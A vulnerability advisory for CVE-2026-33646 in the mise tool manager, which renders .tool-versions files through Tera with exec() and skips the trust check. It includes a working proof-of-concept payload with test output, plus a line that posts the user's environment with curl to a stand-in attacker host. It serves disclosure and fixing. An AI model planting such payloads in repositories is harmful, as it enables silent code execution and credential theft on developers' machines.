CVE-2026-33646 — mise

Summary

Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.

Vulnerability Details

Vulnerable Code

File: src/config/config_file/tool_versions.rs, lines 60-63

pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
    let mut cf = Self::init(&path);
    let dir = path.parent();
    let s = get_tera(dir).render_str(s, &cf.context)?;  // <-- No trust check
    // ...
}

File: src/tera.rs, lines 385-391

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.

File: src/config/config_file/mod.rs, lines 272-287

pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {
    if let Ok(settings) = Settings::try_get()
        && settings.paranoid
    {
        trust_check(path)?;  // Only in paranoid mode!
    }
    match detect_config_file_type(path).await {
        // ...
        Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),
        // ...
    }
}

Attack Vector

1. An attacker creates a .tool-versions file in a git repository containing Tera template syntax with the exec() function.
2. The victim clones the repository and has mise activated in their shell (via eval "$(mise activate zsh)" or equivalent).
3. When the victim cds into the repository directory, mise's shell hook (hook-env) fires automatically.
4. hook-env loads and parses config files, including .tool-versions.
5. During parsing, ToolVersions::parse_str processes the file content through get_tera(dir).render_str().
6. The Tera engine evaluates {{ exec(command="...") }}, executing arbitrary commands as the victim's user.
7. No trust prompt is displayed because trust_check is not called for .tool-versions files in non-paranoid mode.

Execution Context

• Commands execute as the current user with full access to their environment.
• The pristine environment (env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).
• Execution happens silently during the prompt hook -- the user sees no indication that code was run.

Contrast with .mise.toml

.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.

Steps to Reproduce

Prerequisites

• mise installed (brew install mise or equivalent)
• Shell activation enabled: eval "$(mise activate zsh)" (or bash/fish)
• Default settings (paranoid mode NOT enabled — this is the default)

PoC: Silent RCE on cd

Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:

mkdir -p /tmp/poc-mise-repo
cd /tmp/poc-mise-repo
git init

cat > .tool-versions << 'EOF'
{{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0
python 3.11.0
EOF

git add -A && git commit -m "Initial commit"

Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the exec() returns an empty string, making the line evaluate to node 20.0.0.

Step 2: In a new shell with mise activated, enter the directory:

eval "$(mise activate zsh)"
cd /tmp/poc-mise-repo

Step 3: Verify arbitrary code execution:

cat /tmp/mise-rce-proof

Expected output:

uid=501(youruser) gid=20(staff) groups=20(staff),...
SUCCESS=youruser
Mon Mar 16 21:34:46 IST 2026

No trust prompt, no warning, no error output. The id command executed silently as the current user.

Validated Test Results

Tested on 2026-03-16 with:

• mise 2026.3.9 macos-arm64
• macOS Darwin 24.5.0 arm64
• zsh 5.9
• Paranoid mode: false (default)

Test 1 — .tool-versions (no trust check):

$ rm -f /tmp/mise-rce-proof
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd'
/tmp/poc-mise-repo
$ cat /tmp/mise-rce-proof
uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
SUCCESS=golan
Mon Mar 16 21:34:46 IST 2026

Command executed silently. No trust prompt. No errors.

Test 2 — .mise.toml with same payload (trust check blocks execution):

$ mkdir -p /tmp/poc-mise-toml
$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'
[tools]
node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0"
TOMLEOF
$ rm -f /tmp/mise-hook-pwned
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd'
mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.
Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html
$ cat /tmp/mise-hook-pwned
cat: /tmp/mise-hook-pwned: No such file or directory

.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.

Alternative PoC (data exfiltration)

{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0

Impact

• Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious .tool-versions file.
• Supply chain attack vector: .tool-versions is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.
• Silent execution: No trust prompt, warning, or user interaction required.
• Full user privilege escalation: Commands run with the full privileges and environment of the current user.
• Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.
• Widespread potential impact: Any open-source project with a .tool-versions file could be targeted. A malicious PR adding tera syntax to an existing .tool-versions file could execute code on all reviewers' machines.

Suggested Fix

Option 1: Add trust_check to .tool-versions parsing (recommended)

// In src/config/config_file/tool_versions.rs
pub fn from_file(path: &Path) -> Result<Self> {
    trace!("parsing tool-versions: {}", path.display());
    Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())
}

pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
    let mut cf = Self::init(&path);
    let dir = path.parent();
    // Only use tera if the file contains template syntax AND is trusted
    let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") {
        trust_check(&path)?;
        get_tera(dir).render_str(s, &cf.context)?
    } else {
        s.to_string()
    };
    // ...
}

Option 2: Remove exec() from .tool-versions tera context

Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.

Option 3: Remove tera processing from .tool-versions entirely

.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.